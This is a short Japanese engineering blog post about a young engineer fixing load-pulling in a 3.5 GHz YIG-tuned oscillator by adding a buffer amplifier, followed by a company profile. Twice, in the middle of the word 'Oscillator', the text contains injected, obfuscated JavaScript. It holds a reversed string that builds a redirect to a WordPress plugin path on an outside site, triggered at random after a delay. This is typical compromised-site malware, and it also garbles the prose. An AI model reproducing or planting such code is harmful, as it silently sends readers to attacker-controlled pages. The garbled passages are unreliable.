感度の高い発振器に起こった不具合とその対策方法

感度の高い発振器に起こった不具合とその対策方法

まだ若きエンジニアだった頃、3.5GHz帯 YTO(YIG発振器)の開発を依頼された時の話である。

(YTO: YIG Tuned Oscillatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor. 誘電体などを使ったVCO(Voltage Controlled Oscillatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor)よりも周波数可変範囲が広く、位相雑音が少ない事が特徴の発振器)

 

このYTOには、客先からの依頼でSMAコネクタのモニタ出力端子を付けた。モニタ端子は通常ダミーロードで50Ω終端されているが、信号をモニタする場合はケーブルを介して測定機に接続される。

ここで問題が発生した。モニタ端がダミーロードの時と測定器に接続した時の発振周波数のズレが規格を超えてしまった。ダミーロードもケーブルも測定器もインピーダンスは50Ωであるがそれぞれ誤差がある。

YTOはとても感度が高い発振器なので、ロードプリングには特に注意が必要あるが、YTO出力にはアンプを入れているし、方向性結合器の結合度も20dBなので大丈夫と思っていたら、これでは不十分だったようである。

(ロードプリング: 負荷インピーダンスの変動によって発振周波数が変動してしまう現象)

YTO_1

アイソレータを入れようにもスペースがない、アッテネータを入れればモニタレベルが変わってしまう、さてどうしようかと考えた方法がバッファアンプの追加であった。

(オペアンプでよく使うボルテージフォロワ(Gain=1 のバッファアンプ)をイメージしているが、この使い方はアイソレーションアンプといったほうが適切かもしれない)

YTO_2

いずれにせよ効果は抜群で、ほっと胸をなでおろしたことを覚えている。


創業40年の製造業。ダイヤモンド事業からスタートしたテクダイヤは、会社本来の「人好き」が作用し、人との出会いを繰り返しながら業態変化を続ける。 現在はセラミック応用技術・精密機械加工技術・ダイヤモンド加工技術をコアとしながら先端技術のものづくりを支える。スマホやデータセンターなどの通信市場、更にはNASAやバイオ領域にも進出中。